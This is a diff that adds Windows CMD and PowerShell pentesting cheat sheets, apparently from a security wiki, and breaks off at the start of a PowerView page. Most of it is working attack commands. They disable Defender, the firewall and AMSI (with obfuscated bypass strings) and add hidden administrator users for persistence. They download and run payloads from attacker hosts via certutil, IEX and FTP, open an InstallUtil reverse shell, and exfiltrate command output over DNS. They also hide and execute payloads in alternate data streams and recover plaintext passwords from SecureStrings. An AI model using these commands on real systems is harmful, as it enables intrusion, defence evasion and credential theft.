+WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
+sc query windefend
+#Delete all rules of Defender (useful for machines without internet access)
+"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
+```
+
+### Recycle Bin
+
+```bash
+dir C:\$Recycle.Bin /s /b
+```
+
+### Processes, Services & Software
+
+```bash
+schtasks /query /fo LIST /v #Verbose out of scheduled tasks
+schtasks /query /fo LIST 2>nul | findstr TaskName
+schtasks /query /fo LIST /v > schtasks.txt; cat schtask.txt | grep "SYSTEM\|Task To Run" | grep -B 1 SYSTEM
+tasklist /V #List processes
+tasklist /SVC #links processes to started services
+net start #Windows Services started
+wmic service list brief #List services
+sc query #List of services
+dir /a "C:\Program Files" #Installed software
+dir /a "C:\Program Files (x86)" #Installed software
+reg query HKEY_LOCAL_MACHINE\SOFTWARE #Installed software
+```
+
+## Domain info
+
+```bash
+echo %USERDOMAIN% #Get domain name
+echo %USERDNSDOMAIN% #Get domain name
+echo %logonserver% #Get name of the domain controller
+set logonserver #Get name of the domain controller
+set log #Get name of the domain controller
+net groups /domain #List of domain groups
+net group "domain computers" /domain #List of PCs connected to the domain
+net view /domain #Lis of PCs of the domain
+nltest /dclist:<DOMAIN> #List domain controllers
+net group "Domain Controllers" /domain #List PC accounts of domains controllers
+net group "Domain Admins" /domain #List users with domain admin privileges
+net localgroup administrators /domain #List uses that belongs to the administrators group inside the domain (the grup "Domain Admins" is included here)
+net user /domain #List all users of the domain
+net user <ACCOUNT_NAME> /domain #Get information about that user
+net accounts /domain #Password and lockout policy
+nltest /domain_trust #Mapping of the trust relationships.
+```
+
+### Logs & Events
+
+```bash
+#Make a security query using another credentials
+wevtutil qe security /rd:true /f:text /r:helpline /u:HELPLINE\zachary /p:0987654321
+```
+
+## Users & Groups
+
+### Users
+
+```bash
+whoami /all #All info about me, take a look at the enabled tokens
+whoami /priv #Show only privileges
+net users #All users
+dir /b /ad "C:\Users"
+net user %username% #Info about a user (me)
+net accounts #Information about password requirements
+qwinsta #Anyone else logged in?
+cmdkey /list #List credential
+net user /add [username] [password] #Create user
+
+#Lauch new cmd.exe with new creds (to impersonate in network)
+runas /netonly /user<DOMAIN>\<NAME> "cmd.exe" ::The password will be prompted
+
+#Check current logon session as administrator using logonsessions from sysinternals
+logonsessions.exe
+logonsessions64.exe
+```
+
+### Groups
+
+```bash
+#Local
+net localgroup #All available groups
+net localgroup Administrators #Info about a group (admins)
+net localgroup administrators [username] /add #Add user to administrators
+
+#Domain
+net group /domain #Info about domain groups
+net group /domain <domain_group_name> #Users that belongs to the group
+```
+
+### List sessions
+
+```text
+qwinsta
+klist sessions
+```
+
+### Password Policy
+
+```text
+net accounts
+```
+
+### Persistence with users
+
+```bash
+# Add domain user and put them in Domain Admins group
+net user username password /ADD /DOMAIN
+net group "Domain Admins" username /ADD /DOMAIN
+
+# Add local user and put them local Administrators group
+net user username password /ADD
+net localgroup Administrators username /ADD
+
+# Add user to insteresting groups:
+net localgroup "Remote Desktop Users" UserLoginName  /add
+net localgroup "Debugger users" UserLoginName /add
+net localgroup "Power users" UserLoginName /add
+```
+
+## Network
+
+### Interfaces, Routes, Ports, Hosts and DNSCache
+
+```bash
+ipconfig /all #Info about interfaces
+route print #Print available routes
+arp -a #Know hosts
+netstat -ano #Opened ports?
+type C:\WINDOWS\System32\drivers\etc\hosts
+ipconfig /displaydns | findstr "Record" | findstr "Name Host"
+```
+
+### Firewall
+
+```bash
+netsh firewall show state # FW info, open ports
+netsh advfirewall firewall show rule name=all
+netsh firewall show config # FW info
+Netsh Advfirewall show allprofiles
+
+NetSh Advfirewall set allprofiles state off  #Turn Off
+NetSh Advfirewall set allprofiles state on  #Trun On
+netsh firewall set opmode disable #Turn Off
+
+::How to open ports
+netsh advfirewall firewall add rule name="NetBIOS UDP Port 138" dir=out action=allow protocol=UDP localport=138
+netsh advfirewall firewall add rule name="NetBIOS TCP Port 139" dir=in action=allow protocol=TCP localport=139
+netsh firewall add portopening TCP 3389 "Remote Desktop" 
+
+::Enable Remote Desktop
+reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
+netsh firewall add portopening TCP 3389 "Remote Desktop"
+::netsh firewall set service remotedesktop enable #I found that this line is not needed
+::sc config TermService start= auto #I found that this line is not needed
+::net start Termservice #I found that this line is not needed
+
+::Enable Remote assistance:
+reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fAllowToGetHelp /t REG_DWORD /d 1 /f
+netsh firewall set service remoteadmin enable
+
+::Ninja combo (New Admin User, RDP + Rassistance + Firewall allow)
+net user hacker Hacker123! /add & net localgroup administrators hacker /add & net localgroup "Remote Desktop Users" hacker /add & reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f & reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fAllowToGetHelp /t REG_DWORD /d 1 /f & netsh firewall add portopening TCP 3389 "Remote Desktop" & netsh firewall set service remoteadmin enable
+
+::Connect to RDP (using hash or password)
+xfreerdp /u:alice /d:WORKGROUP /pth:b74242f37e47371aff835a6ebcac4ffe /v:10.11.1.49
+xfreerdp /u:hacker /d:WORKGROUP /p:Hacker123! /v:10.11.1.49
+```
+
+### Shares
+
+```bash
+net view #Get a list of computers
+net view /all /domain [domainname] #Shares on the domains
+net view \\computer /ALL #List shares of a computer
+net use x: \\computer\share #Mount the share locally
+net share #Check current shares
+```
+
+### Wifi
+
+```bash
+netsh wlan show profile #AP SSID
+netsh wlan show profile <SSID> key=clear #Get Cleartext Pass
+```
+
+### SNMP
+
+```text
+reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s
+```
+
+### Network Interfaces
+
+```bash
+ipconfig /all
+```
+
+### ARP table
+
+```bash
+arp -A
+```
+
+## Download
+
+Bitsadmin.exe
+
+```text
+bitsadmin /create 1 bitsadmin /addfile 1 https://live.sysinternals.com/autoruns.exe c:\data\playfolder\autoruns.exe bitsadmin /RESUME 1 bitsadmin /complete 1
+```
+
+CertReq.exe
+
+```text
+CertReq -Post -config https://example.org/ c:\windows\win.ini output.txt
+```
+
+Certutil.exe
+
+```text
+certutil.exe -urlcache -split -f "http://10.10.14.13:8000/shell.exe" s.exe
+```
+
+Desktopimgdownldr.exe
+
+```text
+set "SYSTEMROOT=C:\Windows\Temp" && cmd /c desktopimgdownldr.exe /lockscreenurl:https://domain.com:8080/file.ext /eventName:desktopimgdownldr
+```
+
+Diantz.exe
+
+```text
+diantz.exe \\remotemachine\pathToFile\file.exe c:\destinationFolder\file.cab
+```
+
+Esentutl.exe
+
+```text
+esentutl.exe /y \\live.sysinternals.com\tools\adrestore.exe /d \\otherwebdavserver\webdav\adrestore.exe /o
+```
+
+Expand.exe
+
+```text
+expand \\webdav\folder\file.bat c:\ADS\file.bat
+```
+
+Extrac32.exe
+
+```text
+extrac32 /Y /C \\webdavserver\share\test.txt C:\folder\test.txt
+```
+
+Findstr.exe
+
+```text
+findstr /V /L W3AllLov3DonaldTrump \\webdavserver\folder\file.exe > c:\ADS\file.exe
+```
+
+Ftp.exe
+
+```text
+cmd.exe /c "@echo open attacker.com 21>ftp.txt&@echo USER attacker>>ftp.txt&@echo PASS PaSsWoRd>>ftp.txt&@echo binary>>ftp.txt&@echo GET /payload.exe>>ftp.txt&@echo quit>>ftp.txt&@ftp -s:ftp.txt -v"
+```
+
+GfxDownloadWrapper.exe
+
+```text
+C:\Windows\System32\DriverStore\FileRepository\igdlh64.inf_amd64_[0-9]+\GfxDownloadWrapper.exe "URL" "DESTINATION FILE"
+```
+
+Hh.exe
+
+```text
+HH.exe http://some.url/script.ps1
+```
+
+Ieexec.exe
+
+```text
+ieexec.exe http://x.x.x.x:8080/bypass.exe
+```
+
+Makecab.exe
+
+```text
+makecab \\webdavserver\webdav\file.exe C:\Folder\file.cab
+```
+
+MpCmdRun.exe
+
+```text
+MpCmdRun.exe -DownloadFile -url <URL> -path <path> //Windows Defender executable
+```
+
+Replace.exe
+
+```text
+replace.exe \\webdav.host.com\foo\bar.exe c:\outdir /A
+```
+
+Excel.exe
+
+```text
+Excel.exe http://192.168.1.10/TeamsAddinLoader.dll
+```
+
+Powerpnt.exe
+
+```text
+Powerpnt.exe "http://192.168.1.10/TeamsAddinLoader.dll"
+```
+
+Squirrel.exe
+
+```text
+squirrel.exe --download [url to package]
+```
+
+Update.exe
+
+```text
+Update.exe --download [url to package]
+```
+
+Winword.exe
+
+```text
+winword.exe "http://192.168.1.10/TeamsAddinLoader.dll"
+```
+
+Wsl.exe
+
+```text
+wsl.exe --exec bash -c 'cat < /dev/tcp/192.168.1.10/54 > binary'
+```
+
+## Misc
+
+```bash
+cd #Get current dir
+cd C:\path\to\dir #Change dir
+dir #List current dir
+dir /a:h C:\path\to\dir #List hidden files
+dir /s /b #Recursive list without shit
+time #Get current time
+date #Get current date
+shutdown /r /t 0 #Shutdown now
+type <file> #Cat file
+
+#Runas
+runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe" #Use saved credentials
+runas /netonly /user:<DOMAIN>\<NAME> "cmd.exe" ::The password will be prompted
+
+#Hide
+attrib +h file #Set Hidden
+attrib -h file #Quit Hidden
+
+#Give full control over a file that you owns
+icacls <FILE_PATH> /t /e /p <USERNAME>:F
+icacls <FILE_PATH> /e /r <USERNAME> #Remove the permision
+
+#Recursive copy to smb
+xcopy /hievry C:\Users\security\.yawcam \\10.10.14.13\name\win
+
+#exe2bat to transform exe file in bat file
+
+#ADS
+dir /r #Detect ADS
+more file.txt:ads.txt #read ADS
+powershell (Get-Content file.txt -Stream ads.txt)
+```
+
+### Listen address ACLs
+
+You can listen on [http://+:80/Temporary\_Listen\_Addresses/](http://+:80/Temporary_Listen_Addresses/) without being administrator.
+
+```bash
+netsh http show urlacl
+```
+
+### Manual DNS shell
+
+**Attacker** \(Kali\) must use one of these 2 options:
+
+```bash
+sudo responder -I <iface> #Active
+sudo tcpdump -i <iface> -A proto udp and dst port 53 and dst ip <KALI_IP> #Passive
+```
+
+#### Victim
+
+_**for /f tokens**_ \_\*\*\_technique: This allows us to execute commands, get the first X words of each line and send it through DNS to our server
+
+```text
+for /f %a in ('whoami') do nslookup %a <IP_kali> #Get whoami
+for /f "tokens=2" %a in ('echo word1 word2') do nslookup %a <IP_kali> #Get word2
+for /f "tokens=1,2,3" %a in ('dir /B C:\') do nslookup %a.%b.%c <IP_kali> #List folder
+for /f "tokens=1,2,3" %a in ('dir /B "C:\Program Files (x86)"') do nslookup %a.%b.%c <IP_kali> #List that folder
+for /f "tokens=1,2,3" %a in ('dir /B "C:\Progra~2"') do nslookup %a.%b.%c <IP_kali> #Same as last one
+#More complex commands
+for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('whoami /priv ^| findstr /i "enable"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i <IP_kali> #Same as last one
+```
+
+You can also **redirect** the output, and then **read** it.
+
+```text
+whoami /priv | finstr "Enab" > C:\Users\Public\Documents\out.txt
+for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('type "C:\Users\Public\Documents\out.txt"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i <IP_kali>
+```
+
+## Calling CMD from C code
+
+```c
+#include <stdlib.h>     /* system, NULL, EXIT_FAILURE */
+
+// When executed by Administrator this program will create a user and then add him to the administrators group
+// i686-w64-mingw32-gcc addmin.c -o addmin.exe
+// upx -9 addmin.exe
+
+int main (){
+    int i;
+    i=system("net users otherAcc 0TherAcc! /add");
+    i=system("net localgroup administrators otherAcc /add");
+    return 0;
+}
+```
+
+## Alternate Data Streams CheatSheet \(ADS/Alternate Data Stream\)
+
+Taken from [https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f](https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f)
+
+```bash
+###Add content to ADS###
+type C:\temp\evil.exe > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"
+extrac32 C:\ADS\procexp.cab c:\ADS\file.txt:procexp.exe
+findstr /V /L W3AllLov3DonaldTrump c:\ADS\procexp.exe > c:\ADS\file.txt:procexp.exe
+certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\temp:ttt
+makecab c:\ADS\autoruns.exe c:\ADS\cabtest.txt:autoruns.cab
+print /D:c:\ads\file.txt:autoruns.exe c:\ads\Autoruns.exe
+reg export HKLM\SOFTWARE\Microsoft\Evilreg c:\ads\file.txt:evilreg.reg
+regedit /E c:\ads\file.txt:regfile.reg HKEY_CURRENT_USER\MyCustomRegKey
+expand \\webdav\folder\file.bat c:\ADS\file.txt:file.bat
+esentutl.exe /y C:\ADS\autoruns.exe /d c:\ADS\file.txt:autoruns.exe /o
+powershell -command " & {(Get-Content C:\ADS\file.exe -Raw | Set-Content C:\ADS\file.txt -Stream file.exe)}"
+curl file://c:/temp/autoruns.exe --output c:\temp\textfile1.txt:auto.exe
+cmd.exe /c echo regsvr32.exe ^/s ^/u ^/i:https://evilsite.com/RegSvr32.sct   ^scrobj.dll > fakefile.doc:reg32.bat
+set-content - path {path to the file} - stream {name of the stream}
+
+### Discover ADS contecnt
+dir /R 
+streams.exe <c:\path\to\file> #Binary from sysinternals#
+Get-Item -Path .\fie.txt -Stream *
+gci -recurse | % { gi $_.FullName -stream * } | where stream -ne ':$Data'
+
+###Extract content from ADS###
+expand c:\ads\file.txt:test.exe c:\temp\evil.exe
+esentutl.exe /Y C:\temp\file.txt:test.exe /d c:\temp\evil.exe /o
+more < c:\ads\file.txt:test.exe
+
+###Executing the ADS content###
+
+* WMIC
+wmic process call create '"C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"'
+
+* Rundll32
+rundll32 "C:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:ADSDLL.dll",DllMain
+rundll32.exe advpack.dll,RegisterOCX not_a_dll.txt:test.dll
+rundll32.exe ieadvpack.dll,RegisterOCX not_a_dll.txt:test.dll
+
+* Cscript
+cscript "C:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:Script.vbs"
+
+* Wscript
+wscript c:\ads\file.txt:script.vbs
+echo GetObject("script:https://raw.githubusercontent.com/sailay1996/misc-bin/master/calc.js") > %temp%\test.txt:hi.js && wscript.exe %temp%\test.txt:hi.js
+
+* Forfiles
+forfiles /p c:\windows\system32 /m notepad.exe /c "c:\temp\shellloader.dll:bginfo.exe"
+
+* Mavinject.exe
+c:\windows\SysWOW64\notepad.exe
+tasklist | findstr notepad
+notepad.exe                   4172 31C5CE94259D4006           2     18,476 K
+type c:\temp\AtomicTest.dll > "c:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:Atomic.dll"
+c:\windows\WinSxS\wow64_microsoft-windows-appmanagement-appvwow_31bf3856ad364e35_10.0.16299.15_none_e07aa28c97ebfa48\mavinject.exe 4172 /INJECTRUNNING "c:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:Atomic.dll"
+
+* MSHTA
+mshta "C:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:helloworld.hta"
+(Does not work on Windows 10 1903 and newer)
+
+* Control.exe
+control.exe c:\windows\tasks\zzz:notepad_reflective_x64.dll
+https://twitter.com/bohops/status/954466315913310209
+
+* Create service and run
+sc create evilservice binPath= "\"c:\ADS\file.txt:cmd.exe\" /c echo works > \"c:\ADS\works.txt\"" DisplayName= "evilservice" start= auto
+sc start evilservice
+https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/
+
+* Powershell.exe
+powershell -ep bypass - < c:\temp:ttt
+
+* Powershell.exe
+powershell -command " & {(Get-Content C:\ADS\1.txt -Stream file.exe -Raw | Set-Content c:\ADS\file.exe) | start-process c:\ADS\file.exe}"
+
+* Powershell.exe
+Invoke-CimMethod -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine = C:\ads\folder:file.exe}
+
+* Regedit.exe
+regedit c:\ads\file.txt:regfile.reg
+
+* Bitsadmin.exe
+bitsadmin /create myfile
+bitsadmin /addfile myfile c:\windows\system32\notepad.exe c:\data\playfolder\notepad.exe
+bitsadmin /SetNotifyCmdLine myfile c:\ADS\1.txt:cmd.exe NULL
+bitsadmin /RESUME myfile
+
+* AppVLP.exe
+AppVLP.exe c:\windows\tracing\test.txt:ha.exe
+
+* Cmd.exe
+cmd.exe - < fakefile.doc:reg32.bat
+https://twitter.com/yeyint_mth/status/1143824979139579904
+
+* Ftp.exe
+ftp -s:fakefile.txt:aaaa.txt
+https://github.com/sailay1996/misc-bin/blob/master/ads.md
+
+* ieframe.dll , shdocvw.dll (ads)
+echo [internetshortcut] > fake.txt:test.txt && echo url=C:\windows\system32\calc.exe >> fake.txt:test.txt rundll32.exe ieframe.dll,OpenURL C:\temp\ads\fake.txt:test.txt
+rundll32.exe shdocvw.dll,OpenURL C:\temp\ads\fake.txt:test.txt
+https://github.com/sailay1996/misc-bin/blob/master/ads.md
+
+* bash.exe
+echo calc > fakefile.txt:payload.sh && bash < fakefile.txt:payload.sh
+bash.exe -c $(fakefile.txt:payload.sh)
+https://github.com/sailay1996/misc-bin/blob/master/ads.md
+
+* Regsvr32
+type c:\Windows\System32\scrobj.dll > Textfile.txt:LoveADS
+regsvr32 /s /u /i:https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Regsvr32_calc.sct Textfile.txt:LoveADS
+```
+
diff --git a/windows/basic-powershell-for-pentesters/README.md b/windows/basic-powershell-for-pentesters/README.md
new file mode 100644
index 00000000000..47709af72b4
--- /dev/null
+++ b/windows/basic-powershell-for-pentesters/README.md
@@ -0,0 +1,370 @@
+# Basic PowerShell for Pentesters
+
+## Default PowerShell locations
+
+```text
+C:\windows\syswow64\windowspowershell\v1.0\powershell
+C:\Windows\System32\WindowsPowerShell\v1.0\powershell
+```
+
+## Basic PS commands to start
+
+```bash
+Get-Help * #List everything loaded
+Get-Help process #List everything containing "process"
+Get-Help Get-Item -Full #Get full helpabout a topic
+Get-Help Get-Item -Examples #List examples
+Import-Module <modulepath>
+Get-Command -Module <modulename>
+```
+
+## Download & Execute
+
+```bash
+powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/ipw.ps1')"
+echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile - #From cmd download and execute
+powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
+iex (iwr '10.10.14.9:8000/ipw.ps1') #From PSv3
+
+$h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','http://10.10.14.9:8000/ipw.ps1',$false);$h.send();iex $h.responseText
+$wr = [System.NET.WebRequest]::Create("http://10.10.14.9:8000/ipw.ps1") $r = $wr.GetResponse() IEX ([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd(
+```
+
+### Using b64 from linux
+
+```bash
+echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.31/shell.ps1')" | iconv -t UTF-16LE | base64 -w 0
+powershell -nop -enc <BASE64_ENCODED_PAYLOAD>
+```
+
+## Download
+
+### System.Net.WebClient
+
+```text
+(New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe")
+```
+
+### Invoke-WebRequest
+
+```text
+Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe"
+```
+
+### Wget
+
+```text
+wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"
+```
+
+### BitsTransfer
+
+```text
+Import-Module BitsTransfer
+Start-BitsTransfer -Source $url -Destination $output
+# OR
+Start-BitsTransfer -Source $url -Destination $output -Asynchronous
+```
+
+## Base64 Kali & EncodedCommand
+
+```bash
+kali> echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0
+PS> powershell -EncodedCommand <Base64>
+```
+
+## Execution Policy
+
+By default it is set to **restricted.** Main ways to bypass this policy:
+
+```text
+1º Just copy and paste inside the interactive PS console
+2º Read en Exec
+Get-Content .runme.ps1 | PowerShell.exe -noprofile -
+3º Read and Exec
+Get-Content .runme.ps1 | Invoke-Expression
+4º Use other execution policy
+PowerShell.exe -ExecutionPolicy Bypass -File .runme.ps1
+5º Change users execution policy
+Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted
+6º Change execution policy for this session
+Set-ExecutionPolicy Bypass -Scope Process
+7º Download and execute:
+powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://bit.ly/1kEgbuH')"
+8º Use command switch
+Powershell -command "Write-Host 'My voice is my passport, verify me.'"
+9º Use EncodeCommand
+$command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand
+```
+
+More can be found [here](https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/)
+
+## Constrained language
+
+```bash
+$ExecutionContext.SessionState.LanguageMode
+#Values could be: FullLanguage or ConstrainedLanguage
+```
+
+### Bypass
+
+```bash
+#Easy bypass
+Powershell -version 2
+```
+
+In current Windows that Bypass won't work but you can use[ **PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM). **To compile it you may need** **to** _**Add a Reference**_ -&gt; _Browse_ -&gt;_Browse_ -&gt; add _C:\Windows\Microsoft.NET\assembly\GAC\_MSIL\System.Management.Automation\v4.0\_3.0.0.0\_\_31bf3856ad364e35\System.Management.Automation.dll\_ and **change the project to .Net4.5**.
+
+#### Direct bypass:
+
+```bash
+C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U c:\temp\psby.exe
+```
+
+#### Reverse shell:
+
+```bash
+C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe
+```
+
+## AppLockerPolicy
+
+Check which files/extensions are blacklisted/whitelisted.
+
+```text
+Get-ApplockerPolicy -Effective -xml
+Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
+$a = Get-ApplockerPolicy -effective
+$a.rulecollections
+```
+
+## Enable WinRM \(Remote PS\)
+
+```bash
+enable-psremoting -force #This enables winrm
+
+## Change NetWorkConnection Category to Private
+#Requires -RunasAdministrator
+
+Get-NetConnectionProfile |
+  Where{ $_.NetWorkCategory -ne 'Private'} |
+  ForEach {
+    $_
+    $_|Set-NetConnectionProfile -NetWorkCategory Private -Confirm
+  }
+```
+
+## Antivirus
+
+```bash
+#Check status
+Get-MpComputerStatus
+#Disable
+Set-MpPreference -DisableRealtimeMonitoring $true
+#Set exclusion path
+Add-MpPreference -ExclusionPath "C:\users\public\documents\magichk"
+#Disable AMSI
+"[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)"
+```
+
+## PS-History
+
+```bash
+Get-Content C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Windows\Powershell\PSReadline\ConsoleHost_history.txt
+```
+
+## OS version and HotFixes
+
+```bash
+[System.Environment]::OSVersion.Version #Current OS version
+Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
+Get-Hotfix -description "Security update" #List only "Security Update" patches
+```
+
+## Environment
+
+```bash
+Get-ChildItem Env: | ft Key,Value #get all values
+$env:UserName @Get UserName value
+```
+
+## Other connected drives
+
+```bash
+Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root
+```
+
+### Recycle Bin
+
+```bash
+$shell = New-Object -com shell.application
+$rb = $shell.Namespace(10)
+$rb.Items()
+```
+
+[https://jdhitsolutions.com/blog/powershell/7024/managing-the-recycle-bin-with-powershell/](https://jdhitsolutions.com/blog/powershell/7024/managing-the-recycle-bin-with-powershell/)
+
+## Domain Recon
+
+{% page-ref page="powerview.md" %}
+
+## Users
+
+```bash
+Get-LocalUser | ft Name,Enabled,Description,LastLogon
+Get-ChildItem C:\Users -Force | select Name
+```
+
+## Secure String to Plaintext
+
+```bash
+$pass = "01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e4a07bc7aaeade47925c42c8be5870730000000002000000000003660000c000000010000000d792a6f34a55235c22da98b0c041ce7b0000000004800000a00000001000000065d20f0b4ba5367e53498f0209a3319420000000d4769a161c2794e19fcefff3e9c763bb3a8790deebf51fc51062843b5d52e40214000000ac62dab09371dc4dbfd763fea92b9d5444748692" | convertto-securestring
+$user = "HTB\Tom"
+$cred = New-Object System.management.Automation.PSCredential($user, $pass)
+$cred.GetNetworkCredential() | fl
+
+UserName       : Tom
+Password       : 1ts-mag1c!!!
+SecurePassword : System.Security.SecureString
+Domain         : HTB
+```
+
+Or directly parsing form XML:
+
+```bash
+$cred = Import-CliXml -Path cred.xml; $cred.GetNetworkCredential() | Format-List *
+
+UserName       : Tom
+Password       : 1ts-mag1c!!!
+SecurePassword : System.Security.SecureString
+Domain         : HTB
+```
+
+## SUDO
+
+```bash
+#CREATE A CREDENTIAL OBJECT
+$pass = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force
+$cred = New-Object System.Management.Automation.PSCredential("<USERNAME>", $pass)
+
+#For local:
+Start-Process -Credential ($cred)  -NoNewWindow powershell "iex (New-Object Net.WebClient).DownloadString('http://10.10.14.11:443/ipst.ps1')"
+
+#For WINRM
+#CHECK IF CREDENTIALS ARE WORKING EXECUTING whoami (expected: username of the credentials user)
+Invoke-Command -Computer ARKHAM -ScriptBlock { whoami } -Credential $cred
+#DOWNLOAD nc.exe
+Invoke-Command -Computer ARKHAM -ScriptBlock { IWR -uri 10.10.14.17/nc.exe -outfile nc.exe } -credential $cred
+
+Start-Process powershell -Credential $pp -ArgumentList '-noprofile -command &{Start-Process C:\xyz\nc.bat -verb Runas}'
+
+#Another method
+$secpasswd = ConvertTo-SecureString "<password>" -AsPlainText -Force
+$mycreds = New-Object System.Management.Automation.PSCredential ("<user>", $secpasswd)
+$computer = "<hostname>"
+```
+
+## Groups
+
+```bash
+Get-LocalGroup | ft Name #All groups
+Get-LocalGroupMember Administrators | ft Name, PrincipalSource #Members of Administrators
+```
+
+## Clipboard
+
+```text
+Get-Clipboard
+```
+
+## Processes
+
+```text
+Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id
+```
+
+## Services
+
+```text
+Get-Service
+```
+
+## Password from secure string
+
+```bash
+$pw=gc admin-pass.xml | convertto-securestring #Get the securestring from the file
+$cred=new-object system.management.automation.pscredential("administrator", $pw)
+$cred.getnetworkcredential() | fl * #Get plaintext password
+```
+
+## Scheduled Tasks
+
+```bash
+Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State
+```
+
+## Network
+
+### Interfaces
+
+```text
+Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
+Get-DnsClientServerAddress -AddressFamily IPv4 | ft
+```
+
+### Route
+
+```text
+route print
+```
+
+### ARP
+
+```text
+Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State
+```
+
+### Hosts
+
+```text
+Get-Content C:\WINDOWS\System32\drivers\etc\hosts
+```
+
+### Ping
+
+```bash
+$ping = New-Object System.Net.Networkinformation.Ping
+1..254 | % { $ping.send("10.9.15.$_") | select address, status }
+```
+
+### SNMP
+
+```text
+Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse
+```
+
+## AMSI bypass
+
+```bash
+(old) 
+[Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils').GetField('am'+'siInitFailed','NonPu'+'blic,Static').SetValue($null,$true)
+
+(new)
+$a = 'System.Management.Automation.A';$b = 'ms';$u = 'Utils'
+$assembly = [Ref].Assembly.GetType(('{0}{1}i{2}' -f $a,$b,$u))
+$field = $assembly.GetField(('a{0}iInitFailed' -f $b),'NonPublic,Static')
+$field.SetValue($null,$true)
+
+
+# Testing for Amsi Bypass:
+https://github.com/rasta-mouse/AmsiScanBufferBypass
+
+# Amsi-Bypass-Powershell
+https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell
+
+https://blog.f-secure.com/hunting-for-amsi-bypasses/
+https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/
+https://github.com/cobbr/PSAmsi/wiki/Conducting-AMSI-Scans
+https://slaeryan.github.io/posts/falcon-zero-alpha.html
+```
+
diff --git a/windows/basic-powershell-for-pentesters/powerview.md b/windows/basic-powershell-for-pentesters/powerview.md
new file mode 100644
index 00000000000..7569af9ddcd
--- /dev/null
+++ b/windows/basic-powershell-for-pentesters/powerview.md
@@ -0,0 +1,247 @@
+# PowerView
+
+The most up-to-date version of PowerView will always be in the dev branch of PowerSploit: [https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1](https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1)
+
+### Quick enumeration
+
+```bash
+Get-NetDomain #Basic domain info
+#User info
